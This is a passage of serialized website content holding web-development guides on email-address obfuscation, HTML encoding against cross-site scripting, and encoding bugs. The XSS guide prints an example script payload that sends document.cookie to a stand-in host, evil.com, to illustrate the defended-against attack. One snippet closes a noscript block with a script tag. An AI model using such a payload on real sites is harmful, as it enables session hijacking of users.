-->\n",[1560,116188,116189,116191,116193,116195,116197,116199,116202,116204,116207,116209,116212,116214],{"class":1562,"line":2524},[1560,116190,6431],{"class":1570},[1560,116192,98],{"class":2484},[1560,116194,41004],{"class":1566},[1560,116196,7297],{"class":1570},[1560,116198,8721],{"class":5634},[1560,116200,116201],{"class":1576},"&#x6D;&#x61;&#x69;&#x6C;&#x74;&#x6F;&#x3A;",[1560,116203,22064],{"class":5634},[1560,116205,116206],{"class":1576},"&#x40;",[1560,116208,132],{"class":5634},[1560,116210,116211],{"class":1576},"&#x2E;",[1560,116213,116103],{"class":5634},[1560,116215,6441],{"class":1570},[1560,116217,116218,116220,116222,116224,116226],{"class":1562,"line":2529},[1560,116219,116160],{"class":1570},[1560,116221,116206],{"class":1576},[1560,116223,132],{"class":1570},[1560,116225,116211],{"class":1576},[1560,116227,116169],{"class":1570},[1560,116229,116230,116232,116234],{"class":1562,"line":2534},[1560,116231,11242],{"class":1570},[1560,116233,98],{"class":2484},[1560,116235,6441],{"class":1570},[16,116237,116238,116239,116241,116242,5181,116244,1531,116246,5185,116248,5181,116250,1531,116252,116254],{},"Each variation renders identically in the browser as a clickable ",[143,116240,116068],{}," link. The key characters to encode are ",[143,116243,6849],{},[143,116245,116095],{},[143,116247,116206],{},[143,116249,468],{},[143,116251,116100],{},[143,116253,116211],{},"), since these are the anchors for email-detecting regex patterns.",[16,116256,116257,116258,116260],{},"For stronger obfuscation, encode the entire address including the ",[143,116259,116030],{}," prefix using decimal or hex entities. The more characters you encode, the less likely a pattern-matching harvester will detect the address.",[11,116262,116264],{"id":116263},"combining-multiple-obfuscation-techniques","Combining Multiple Obfuscation Techniques",[16,116266,116267],{},"Relying on a single method leaves gaps. Combining techniques significantly reduces harvest success rates.",[16,116269,116270,116273],{},[47,116271,116272],{},"JavaScript generation."," Write the email address dynamically at runtime so it never appears in the static HTML source:",[135,116275,116277],{"className":6417,"code":116276,"language":6419,"meta":141,"style":141},"\u003Cscript>\n  const user = 'hello';\n  const domain = 'example.com';\n  document.write(`\u003Ca href=\"mailto:${user}@${domain}\">${user}@${domain}\u003C\u002Fa>`);\n\u003C\u002Fscript>\n\u003Cnoscript>\n  \u003C!-- Fallback for noscript users: show contact form link instead -->\n  \u003Ca href=\"\u002Fcontact\">Contact us\u003C\u002Fa>\n\u003C\u002Fscript>\n",[143,116278,116279,116287,116300,116314,116347,116355,116363,116368,116388],{"__ignoreMap":141},[1560,116280,116281,116283,116285],{"class":1562,"line":1563},[1560,116282,6431],{"class":1570},[1560,116284,11475],{"class":2484},[1560,116286,6441],{"class":1570},[1560,116288,116289,116291,116293,116295,116298],{"class":1562,"line":337},[1560,116290,28057],{"class":1669},[1560,116292,28060],{"class":1576},[1560,116294,8186],{"class":1669},[1560,116296,116297],{"class":5634}," 'hello'",[1560,116299,2228],{"class":1570},[1560,116301,116302,116304,116307,116309,116312],{"class":1562,"line":343},[1560,116303,28057],{"class":1669},[1560,116305,116306],{"class":1576}," domain",[1560,116308,8186],{"class":1669},[1560,116310,116311],{"class":5634}," 'example.com'",[1560,116313,2228],{"class":1570},[1560,116315,116316,116318,116321,116323,116326,116328,116331,116333,116336,116338,116340,116342,116345],{"class":1562,"line":365},[1560,116317,11783],{"class":1570},[1560,116319,116320],{"class":1566},"write",[1560,116322,1688],{"class":1570},[1560,116324,116325],{"class":5634},"`\u003Ca href=\"mailto:${",[1560,116327,28199],{"class":1570},[1560,116329,116330],{"class":5634},"}@${",[1560,116332,38322],{"class":1570},[1560,116334,116335],{"class":5634},"}\">${",[1560,116337,28199],{"class":1570},[1560,116339,116330],{"class":5634},[1560,116341,38322],{"class":1570},[1560,116343,116344],{"class":5634},"}\u003C\u002Fa>`",[1560,116346,1744],{"class":1570},[1560,116348,116349,116351,116353],{"class":1562,"line":889},[1560,116350,11242],{"class":1570},[1560,116352,11475],{"class":2484},[1560,116354,6441],{"class":1570},[1560,116356,116357,116359,116361],{"class":1562,"line":1710},[1560,116358,6431],{"class":1570},[1560,116360,41254],{"class":2484},[1560,116362,6441],{"class":1570},[1560,116364,116365],{"class":1562,"line":1717},[1560,116366,116367],{"class":1649},"  \u003C!-- Fallback for noscript users: show contact form link instead -->\n",[1560,116369,116370,116372,116374,116376,116378,116381,116384,116386],{"class":1562,"line":1747},[1560,116371,11223],{"class":1570},[1560,116373,98],{"class":2484},[1560,116375,41004],{"class":1566},[1560,116377,7297],{"class":1570},[1560,116379,116380],{"class":5634},"\"\u002Fcontact\"",[1560,116382,116383],{"class":1570},">Contact us\u003C\u002F",[1560,116385,98],{"class":2484},[1560,116387,6441],{"class":1570},[1560,116389,116390,116392,116394],{"class":1562,"line":2507},[1560,116391,11242],{"class":1570},[1560,116393,11475],{"class":5159},[1560,116395,6441],{"class":1570},[16,116397,116398,116401],{},[47,116399,116400],{},"CSS text reversal."," Display the address right-to-left using CSS while keeping the HTML reversed, so the source reads backwards:",[135,116403,116405],{"className":6417,"code":116404,"language":6419,"meta":141,"style":141},"\u003Cstyle>\n  .obfuscated { direction: rtl; unicode-bidi: bidi-override; }\n\u003C\u002Fstyle>\n\u003Cspan class=\"obfuscated\">moc.elpmaxe@olleh\u003C\u002Fspan>\n",[143,116406,116407,116415,116442,116450],{"__ignoreMap":141},[1560,116408,116409,116411,116413],{"class":1562,"line":1563},[1560,116410,6431],{"class":1570},[1560,116412,2043],{"class":2484},[1560,116414,6441],{"class":1570},[1560,116416,116417,116420,116422,116425,116427,116430,116432,116435,116437,116440],{"class":1562,"line":337},[1560,116418,116419],{"class":1566},"  .obfuscated",[1560,116421,1658],{"class":1570},[1560,116423,116424],{"class":1576},"direction",[1560,116426,1663],{"class":1570},[1560,116428,116429],{"class":1576},"rtl",[1560,116431,3664],{"class":1570},[1560,116433,116434],{"class":1576},"unicode-bidi",[1560,116436,1663],{"class":1570},[1560,116438,116439],{"class":1576},"bidi-override",[1560,116441,1673],{"class":1570},[1560,116443,116444,116446,116448],{"class":1562,"line":343},[1560,116445,11242],{"class":1570},[1560,116447,2043],{"class":2484},[1560,116449,6441],{"class":1570},[1560,116451,116452,116454,116456,116458,116460,116463,116466,116468],{"class":1562,"line":365},[1560,116453,6431],{"class":1570},[1560,116455,1560],{"class":2484},[1560,116457,11423],{"class":1566},[1560,116459,7297],{"class":1570},[1560,116461,116462],{"class":5634},"\"obfuscated\"",[1560,116464,116465],{"class":1570},">moc.elpmaxe@olleh\u003C\u002F",[1560,116467,1560],{"class":2484},[1560,116469,6441],{"class":1570},[16,116471,116472,116475],{},[47,116473,116474],{},"Contact forms."," The most effective approach is removing the email address from the page entirely and replacing it with a server-side contact form. This eliminates the harvesting vector altogether.",[16,116477,116478],{},"Research from independent studies shows that combining entity encoding with JavaScript generation blocks over 95% of harvesters, while any single technique alone blocks 60-80%.",[11,116480,116481],{"id":41547},"Limitations and Trade-Offs",[16,116483,116484],{},"Entity encoding is a deterrent, not a guarantee. Advanced harvesters that render pages in a headless browser (like Puppeteer) will decode entities and extract the address. The technique raises the cost of harvesting your address, which is sufficient to deter most automated crawlers.",[16,116486,116487],{},"Accessibility is another consideration. Screen readers should handle entity-encoded content correctly since the browser decodes it before the accessibility tree is built. However, JavaScript-based obfuscation can fail for users with JavaScript disabled, so always provide a noscript fallback.",[16,116489,116490],{},"Finally, once an address appears in any harvested list, encoding the page version will not stop spam that originates from previously compromised lists. Obfuscation is preventive, not curative—it protects new addresses going forward.",[16,116492,116493,116494,116498],{},"To encode your own email addresses for obfuscation, use the ",[98,116495,116497],{"href":116496},"\u002Ftools\u002Fhtml-encoder","HTML Encoder tool"," to convert characters into entity references quickly.",[2043,116500,116501],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":116503},[116504,116505,116506,116507],{"id":116020,"depth":337,"text":116021},{"id":116058,"depth":337,"text":116059},{"id":116263,"depth":337,"text":116264},{"id":41547,"depth":337,"text":116481},"Obfuscate email links with HTML entities to reduce spam bots harvesting addresses.",{},"\u002Fguides\u002Fhtml-encode-email-addresses",{"title":116012,"description":116508},"guides\u002Fhtml-encode-email-addresses","Ayzz00k8O01HC5HDgh9FuJdxNm8LpOMxom0P8rBiN6U",{"id":116515,"title":116516,"body":116517,"date":2070,"description":116941,"extension":361,"meta":116942,"navigation":363,"path":116943,"readingTime":1710,"seo":116944,"stem":116945,"__hash__":116946},"guides\u002Fguides\u002Fhtml-encode-prevent-xss.md","HTML Encoding to Prevent XSS",{"type":8,"value":116518,"toc":116935},[116519,116522,116526,116540,116543,116603,116609,116612,116616,116619,116703,116706,116723,116739,116748,116767,116771,116774,116784,116852,116858,116906,116909,116916,116920,116923,116926,116932],[16,116520,116521],{},"Cross-site scripting (XSS) remains one of the most prevalent web application vulnerabilities, consistently appearing in the OWASP Top 10. At its core, XSS exploits a browser's trust in the content it receives. When a web application inserts user-supplied data into an HTML document without encoding it first, an attacker can inject malicious scripts that execute in the context of other users' sessions. HTML entity encoding is the primary defense mechanism against this class of attacks.",[11,116523,116525],{"id":116524},"how-xss-exploits-unencoded-output","How XSS Exploits Unencoded Output",[16,116527,116528,116529,1459,116531,1459,116533,1459,116535,1466,116537,116539],{},"When a browser parses an HTML document, it distinguishes between markup and text based on special characters. The characters ",[143,116530,6431],{},[143,116532,28226],{},[143,116534,8721],{},[143,116536,9361],{},[143,116538,13530],{}," carry structural meaning in HTML. If user input containing these characters is inserted into a page without transformation, the browser interprets them as markup rather than display text.",[16,116541,116542],{},"Consider a comment system that renders user input directly:",[135,116544,116546],{"className":6417,"code":116545,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"comment\">\n  \u003Cp>User says: \u003Cscript>document.location='https:\u002F\u002Fevil.com\u002Fsteal?c='+document.cookie\u003C\u002Fscript>\u003C\u002Fp>\n\u003C\u002Fdiv>\n",[143,116547,116548,116563,116595],{"__ignoreMap":141},[1560,116549,116550,116552,116554,116556,116558,116561],{"class":1562,"line":1563},[1560,116551,6431],{"class":1570},[1560,116553,7291],{"class":2484},[1560,116555,11423],{"class":1566},[1560,116557,7297],{"class":1570},[1560,116559,116560],{"class":5634},"\"comment\"",[1560,116562,6441],{"class":1570},[1560,116564,116565,116567,116569,116572,116574,116577,116579,116582,116584,116587,116589,116591,116593],{"class":1562,"line":337},[1560,116566,11223],{"class":1570},[1560,116568,16],{"class":2484},[1560,116570,116571],{"class":1570},">User says: \u003C",[1560,116573,11475],{"class":2484},[1560,116575,116576],{"class":1570},">document.location",[1560,116578,7297],{"class":1669},[1560,116580,116581],{"class":5634},"'https:\u002F\u002Fevil.com\u002Fsteal?c='",[1560,116583,9448],{"class":1669},[1560,116585,116586],{"class":1570},"document.cookie\u003C\u002F",[1560,116588,11475],{"class":2484},[1560,116590,12441],{"class":1570},[1560,116592,16],{"class":2484},[1560,116594,6441],{"class":1570},[1560,116596,116597,116599,116601],{"class":1562,"line":343},[1560,116598,11242],{"class":1570},[1560,116600,7291],{"class":2484},[1560,116602,6441],{"class":1570},[16,116604,116605,116606,116608],{},"Without encoding, the browser executes the ",[143,116607,34727],{}," tag, sending the victim's cookies to the attacker. This is a classic reflected or stored XSS attack, depending on whether the malicious input is echoed immediately or persisted in a database.",[16,116610,116611],{},"The attack becomes possible because the application failed to communicate to the browser that the injected content should be treated as text, not as executable markup.",[11,116613,116615],{"id":116614},"context-aware-encoding","Context-Aware Encoding",[16,116617,116618],{},"HTML entity encoding replaces dangerous characters with their entity equivalents. The browser renders these entities as visible text without interpreting them as code:",[193,116620,116621,116632],{},[196,116622,116623],{},[199,116624,116625,116627,116630],{},[202,116626,7809],{},[202,116628,116629],{},"Entity",[202,116631,2758],{},[211,116633,116634,116648,116662,116676,116690],{},[199,116635,116636,116640,116645],{},[216,116637,116638],{},[143,116639,6431],{},[216,116641,116642],{},[143,116643,116644],{},"&lt;",[216,116646,116647],{},"Prevents tag injection",[199,116649,116650,116654,116659],{},[216,116651,116652],{},[143,116653,28226],{},[216,116655,116656],{},[143,116657,116658],{},"&gt;",[216,116660,116661],{},"Closes potential tags",[199,116663,116664,116668,116673],{},[216,116665,116666],{},[143,116667,8721],{},[216,116669,116670],{},[143,116671,116672],{},"&quot;",[216,116674,116675],{},"Prevents attribute breakout",[199,116677,116678,116682,116687],{},[216,116679,116680],{},[143,116681,9361],{},[216,116683,116684],{},[143,116685,116686],{},"&#39;",[216,116688,116689],{},"Prevents single-quoted attribute breakout",[199,116691,116692,116696,116700],{},[216,116693,116694],{},[143,116695,13530],{},[216,116697,116698],{},[143,116699,98619],{},[216,116701,116702],{},"Prevents entity injection",[16,116704,116705],{},"However, encoding must match the output context. Encoding rules differ depending on where the user data appears within the HTML document.",[16,116707,116708,116711,116712,116715,116716,1459,116718,1466,116720,116722],{},[47,116709,116710],{},"HTML body context."," When user data is placed between tags (",[143,116713,116714],{},"\u003Cdiv>USER DATA\u003C\u002Fdiv>","), encoding ",[143,116717,6431],{},[143,116719,28226],{},[143,116721,13530],{}," is sufficient. The browser will never interpret the content as a tag or entity.",[16,116724,116725,116728,116729,116732,116733,116735,116736,116738],{},[47,116726,116727],{},"HTML attribute context."," When user data is placed inside an attribute value (",[143,116730,116731],{},"\u003Cinput value=\"USER DATA\">","), you must also encode the quote character that delimits the attribute. If the attribute is double-quoted, encode ",[143,116734,8721],{},". If single-quoted, encode ",[143,116737,9361],{},". Unquoted attributes are inherently unsafe and should never contain user data.",[16,116740,116741,116744,116745,116747],{},[47,116742,116743],{},"JavaScript context."," When user data is inserted into a ",[143,116746,34727],{}," block, HTML entity encoding provides no protection. The JavaScript parser runs before entity decoding. You must use JavaScript string escaping (backslash-encoding quotes, newlines, and carriage returns) plus HTML encoding for the surrounding context.",[16,116749,116750,116753,116754,1531,116756,116759,116760,116762,116763,116766],{},[47,116751,116752],{},"URL context."," When user data appears in ",[143,116755,98766],{},[143,116757,116758],{},"src"," attributes, apply URL encoding (",[143,116761,33827],{},") before HTML attribute encoding. This prevents ",[143,116764,116765],{},"javascript:"," URI injection.",[11,116768,116770],{"id":116769},"implementing-encoding-in-practice","Implementing Encoding in Practice",[16,116772,116773],{},"Most modern frameworks handle output encoding automatically when you use their templating systems correctly.",[16,116775,116776,116779,116780,116783],{},[47,116777,116778],{},"Vue"," interpolates data using ",[143,116781,116782],{},"{{ }}"," syntax, which automatically HTML-encodes the output:",[135,116785,116787],{"className":17356,"code":116786,"language":17358,"meta":141,"style":141},"\u003Ctemplate>\n  \u003C!-- Safe: Vue auto-encodes -->\n  \u003Cdiv>{{ userComment }}\u003C\u002Fdiv>\n\n  \u003C!-- Dangerous: raw HTML, no encoding -->\n  \u003Cdiv v-html=\"userComment\">\u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[143,116788,116789,116797,116802,116815,116819,116824,116844],{"__ignoreMap":141},[1560,116790,116791,116793,116795],{"class":1562,"line":1563},[1560,116792,6431],{"class":1570},[1560,116794,17455],{"class":2484},[1560,116796,6441],{"class":1570},[1560,116798,116799],{"class":1562,"line":337},[1560,116800,116801],{"class":1649},"  \u003C!-- Safe: Vue auto-encodes -->\n",[1560,116803,116804,116806,116808,116811,116813],{"class":1562,"line":343},[1560,116805,11223],{"class":1570},[1560,116807,7291],{"class":2484},[1560,116809,116810],{"class":1570},">{{ userComment }}\u003C\u002F",[1560,116812,7291],{"class":2484},[1560,116814,6441],{"class":1570},[1560,116816,116817],{"class":1562,"line":365},[1560,116818,1702],{"emptyLinePlaceholder":363},[1560,116820,116821],{"class":1562,"line":889},[1560,116822,116823],{"class":1649},"  \u003C!-- Dangerous: raw HTML, no encoding -->\n",[1560,116825,116826,116828,116830,116833,116835,116838,116840,116842],{"class":1562,"line":1710},[1560,116827,11223],{"class":1570},[1560,116829,7291],{"class":2484},[1560,116831,116832],{"class":1566}," v-html",[1560,116834,7297],{"class":1570},[1560,116836,116837],{"class":5634},"\"userComment\"",[1560,116839,12441],{"class":1570},[1560,116841,7291],{"class":2484},[1560,116843,6441],{"class":1570},[1560,116845,116846,116848,116850],{"class":1562,"line":1717},[1560,116847,11242],{"class":1570},[1560,116849,17455],{"class":2484},[1560,116851,6441],{"class":1570},[16,116853,116854,116857],{},[47,116855,116856],{},"React"," similarly encodes content rendered via JSX expressions:",[135,116859,116863],{"className":116860,"code":116861,"language":116862,"meta":141,"style":141},"language-jsx shiki shiki-themes github-light github-dark","\u002F\u002F Safe: React auto-encodes\n\u003Cdiv>{userComment}\u003C\u002Fdiv>\n\n\u002F\u002F Dangerous: bypasses encoding\n\u003Cdiv dangerouslySetInnerHTML={{ __html: userComment }} \u002F>\n","jsx",[143,116864,116865,116870,116883,116887,116892],{"__ignoreMap":141},[1560,116866,116867],{"class":1562,"line":1563},[1560,116868,116869],{"class":1649},"\u002F\u002F Safe: React auto-encodes\n",[1560,116871,116872,116874,116876,116879,116881],{"class":1562,"line":337},[1560,116873,6431],{"class":1570},[1560,116875,7291],{"class":2484},[1560,116877,116878],{"class":1570},">{userComment}\u003C\u002F",[1560,116880,7291],{"class":2484},[1560,116882,6441],{"class":1570},[1560,116884,116885],{"class":1562,"line":343},[1560,116886,1702],{"emptyLinePlaceholder":363},[1560,116888,116889],{"class":1562,"line":365},[1560,116890,116891],{"class":1649},"\u002F\u002F Dangerous: bypasses encoding\n",[1560,116893,116894,116896,116898,116901,116903],{"class":1562,"line":889},[1560,116895,6431],{"class":1570},[1560,116897,7291],{"class":2484},[1560,116899,116900],{"class":1566}," dangerouslySetInnerHTML",[1560,116902,7297],{"class":1669},[1560,116904,116905],{"class":1570},"{{ __html: userComment }} \u002F>\n",[16,116907,116908],{},"When you must render raw HTML, sanitize the input first with a library like DOMPurify, which strips dangerous elements and attributes while preserving safe markup.",[16,116910,116911,116912,116915],{},"For server-rendered applications, encode data before inserting it into templates. Most template engines provide context-aware encoding functions. In Go's ",[143,116913,116914],{},"html\u002Ftemplate",", for example, the engine automatically applies different encoding rules based on the context—HTML body, attribute, JavaScript, or URL.",[11,116917,116919],{"id":116918},"encoding-is-necessary-but-not-sufficient","Encoding Is Necessary but Not Sufficient",[16,116921,116922],{},"HTML encoding is a critical defense layer but does not address every XSS vector. Content Security Policy (CSP) adds a second layer by restricting which scripts the browser may execute. Input validation and sanitization reduce the attack surface before data reaches the output layer.",[16,116924,116925],{},"The most robust approach combines these defenses: validate input on the server, encode output contextually, and deploy CSP as a safety net for encoding failures. No single measure eliminates XSS entirely, but each successive layer dramatically reduces the probability of a successful exploit.",[16,116927,116928,116929,116931],{},"If you need to encode HTML entities quickly, try the ",[98,116930,116497],{"href":116496}," to convert text containing special characters into safe entity-encoded output.",[2043,116933,116934],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":116936},[116937,116938,116939,116940],{"id":116524,"depth":337,"text":116525},{"id":116614,"depth":337,"text":116615},{"id":116769,"depth":337,"text":116770},{"id":116918,"depth":337,"text":116919},"How proper HTML entity encoding stops cross-site scripting attacks in user-generated content.",{},"\u002Fguides\u002Fhtml-encode-prevent-xss",{"title":116516,"description":116941},"guides\u002Fhtml-encode-prevent-xss","kunzr2M7qxjY-L03pDsMrWnPzOnCaqKUd5qVQegS8rM",{"id":116948,"title":116949,"body":116950,"date":2070,"description":117663,"extension":361,"meta":117664,"navigation":363,"path":117665,"readingTime":1717,"seo":117666,"stem":117667,"__hash__":117668},"guides\u002Fguides\u002Fhtml-encoding-bugs-fixes.md","Common HTML Encoding Bugs and How to Fix Them",{"type":8,"value":116951,"toc":117650},[116952,116956,116959,116965,116969,116981,116986,116992,116997,117016,117022,117028,117031,117035,117049,117066,117178,117183,117187,117195,117200,117205,117315,117328,117332,117337,117346,117353,117419,117423,117428,117433,117438,117499,117508,117512,117521,117526,117531,117554,117558,117589,117591,117617,117619,117637,117639,117647],[11,116953,116955],{"id":116954},"why-encoding-bugs-happen","Why Encoding Bugs Happen",[16,116957,116958],{},"HTML encoding bugs occur when characters are transformed incorrectly between storage, transmission, and display. The root cause is almost always a mismatch: the bytes were encoded with one character encoding but decoded with another.",[16,116960,116961,116962,116964],{},"These bugs range from cosmetic annoyances (curly quotes showing as ",[143,116963,83719],{},") to security vulnerabilities (unescaped output enabling XSS). Understanding the common patterns helps you spot and fix them quickly.",[11,116966,116968],{"id":116967},"bug-1-mojibake-the-garbled-text-problem","Bug 1: Mojibake — The Garbled Text Problem",[16,116970,116971,116973,116974,1459,116976,1459,116979,468],{},[47,116972,82452],{},": Smart quotes, em dashes, and accented characters render as gibberish like ",[143,116975,83719],{},[143,116977,116978],{},"â€œ",[143,116980,83722],{},[16,116982,116983,116985],{},[47,116984,59374],{},": UTF-8 encoded bytes are being interpreted as Latin-1 (ISO-8859-1). UTF-8 uses multiple bytes for non-ASCII characters. When a two-byte UTF-8 sequence is read as Latin-1, each byte becomes a separate character.",[135,116987,116990],{"className":116988,"code":116989,"language":140},[138],"UTF-8 bytes:    E2 80 94  (em dash —)\nLatin-1 decode: â  €  \"   (mojibake)\n",[143,116991,116989],{"__ignoreMap":141},[16,116993,116994,116996],{},[47,116995,3690],{},": Ensure your document declares UTF-8 encoding:",[135,116998,117000],{"className":6417,"code":116999,"language":6419,"meta":141,"style":141},"\u003Cmeta charset=\"UTF-8\">\n",[143,117001,117002],{"__ignoreMap":141},[1560,117003,117004,117006,117008,117010,117012,117014],{"class":1562,"line":1563},[1560,117005,6431],{"class":1570},[1560,117007,108827],{"class":2484},[1560,117009,108830],{"class":1566},[1560,117011,7297],{"class":1570},[1560,117013,108835],{"class":5634},[1560,117015,6441],{"class":1570},[16,117017,117018,117019,117021],{},"Also verify that your server sends the correct ",[143,117020,35060],{}," header:",[135,117023,117026],{"className":117024,"code":117025,"language":140},[138],"Content-Type: text\u002Fhtml; charset=UTF-8\n",[143,117027,117025],{"__ignoreMap":141},[16,117029,117030],{},"The HTTP header takes precedence over the meta tag. If the server declares Latin-1, the meta tag won't save you.",[11,117032,117034],{"id":117033},"bug-2-double-escaping","Bug 2: Double Escaping",[16,117036,117037,117039,117040,55616,117043,1877,117045,55616,117047,468],{},[47,117038,82452],{},": Users see literal entity text like ",[143,117041,117042],{},"&amp;lt;",[143,117044,6431],{},[143,117046,98619],{},[143,117048,13530],{},[16,117050,117051,117053,117054,5255,117056,117058,117059,98763,117061,5255,117063,468],{},[47,117052,59374],{},": The text was entity-encoded twice. The first pass converts ",[143,117055,13530],{},[143,117057,98619],{},". The second pass converts the ",[143,117060,13530],{},[143,117062,98619],{},[143,117064,117065],{},"&amp;amp;",[135,117067,117069],{"className":1607,"code":117068,"language":1609,"meta":141,"style":141},"\u002F\u002F Double escaping\nfunction encodeTwice(text) {\n  let first = text.replace(\u002F&\u002Fg, '&amp;')\n  let second = first.replace(\u002F&\u002Fg, '&amp;')  \u002F\u002F catches the & in &amp;\n  return second\n}\nencodeTwice('Tom & Jerry')  \u002F\u002F \"Tom &amp;amp; Jerry\"\n",[143,117070,117071,117076,117089,117119,117152,117159,117163],{"__ignoreMap":141},[1560,117072,117073],{"class":1562,"line":1563},[1560,117074,117075],{"class":1649},"\u002F\u002F Double escaping\n",[1560,117077,117078,117080,117083,117085,117087],{"class":1562,"line":337},[1560,117079,8648],{"class":1669},[1560,117081,117082],{"class":1566}," encodeTwice",[1560,117084,1688],{"class":1570},[1560,117086,140],{"class":2219},[1560,117088,9345],{"class":1570},[1560,117090,117091,117093,117096,117098,117100,117102,117104,117106,117108,117110,117112,117114,117117],{"class":1562,"line":343},[1560,117092,38049],{"class":1669},[1560,117094,117095],{"class":1570}," first ",[1560,117097,7297],{"class":1669},[1560,117099,22718],{"class":1570},[1560,117101,22721],{"class":1566},[1560,117103,1688],{"class":1570},[1560,117105,9423],{"class":5634},[1560,117107,13530],{"class":11919},[1560,117109,9423],{"class":5634},[1560,117111,22733],{"class":1669},[1560,117113,1459],{"class":1570},[1560,117115,117116],{"class":5634},"'&amp;'",[1560,117118,8252],{"class":1570},[1560,117120,117121,117123,117126,117128,117131,117133,117135,117137,117139,117141,117143,117145,117147,117149],{"class":1562,"line":365},[1560,117122,38049],{"class":1669},[1560,117124,117125],{"class":1570}," second ",[1560,117127,7297],{"class":1669},[1560,117129,117130],{"class":1570}," first.",[1560,117132,22721],{"class":1566},[1560,117134,1688],{"class":1570},[1560,117136,9423],{"class":5634},[1560,117138,13530],{"class":11919},[1560,117140,9423],{"class":5634},[1560,117142,22733],{"class":1669},[1560,117144,1459],{"class":1570},[1560,117146,117116],{"class":5634},[1560,117148,10060],{"class":1570},[1560,117150,117151],{"class":1649},"\u002F\u002F catches the & in &amp;\n",[1560,117153,117154,117156],{"class":1562,"line":889},[1560,117155,9350],{"class":1669},[1560,117157,117158],{"class":1570}," second\n",[1560,117160,117161],{"class":1562,"line":1710},[1560,117162,1585],{"class":1570},[1560,117164,117165,117168,117170,117173,117175],{"class":1562,"line":1717},[1560,117166,117167],{"class":1566},"encodeTwice",[1560,117169,1688],{"class":1570},[1560,117171,117172],{"class":5634},"'Tom & Jerry'",[1560,117174,10060],{"class":1570},[1560,117176,117177],{"class":1649},"\u002F\u002F \"Tom &amp;amp; Jerry\"\n",[16,117179,117180,117182],{},[47,117181,3690],{},": Encode exactly once, at the output boundary. If you're using a template engine (Vue, React, Twig), it handles encoding automatically. Don't pre-encode values before passing them to templates.",[11,117184,117186],{"id":117185},"bug-3-missing-entity-encoding-xss-risk","Bug 3: Missing Entity Encoding (XSS Risk)",[16,117188,117189,117191,117192,117194],{},[47,117190,82452],{},": User input containing ",[143,117193,34727],{}," tags executes as code instead of displaying as text.",[16,117196,117197,117199],{},[47,117198,59374],{},": User-supplied data was inserted into HTML without entity encoding.",[16,117201,117202,117204],{},[47,117203,3690],{},": Always encode user output:",[135,117206,117208],{"className":1607,"code":117207,"language":1609,"meta":141,"style":141},"function escapeHtml(text) {\n  const map = { '&': '&amp;', '\u003C': '&lt;', '>': '&gt;', '\"': '&quot;', \"'\": '&apos;' }\n  return text.replace(\u002F[&\u003C>\"']\u002Fg, c => map[c])\n}\n",[143,117209,117210,117223,117283,117311],{"__ignoreMap":141},[1560,117211,117212,117214,117217,117219,117221],{"class":1562,"line":1563},[1560,117213,8648],{"class":1669},[1560,117215,117216],{"class":1566}," escapeHtml",[1560,117218,1688],{"class":1570},[1560,117220,140],{"class":2219},[1560,117222,9345],{"class":1570},[1560,117224,117225,117227,117230,117232,117234,117237,117239,117241,117243,117246,117248,117251,117253,117256,117258,117261,117263,117266,117268,117271,117273,117276,117278,117281],{"class":1562,"line":337},[1560,117226,28057],{"class":1669},[1560,117228,117229],{"class":1576}," 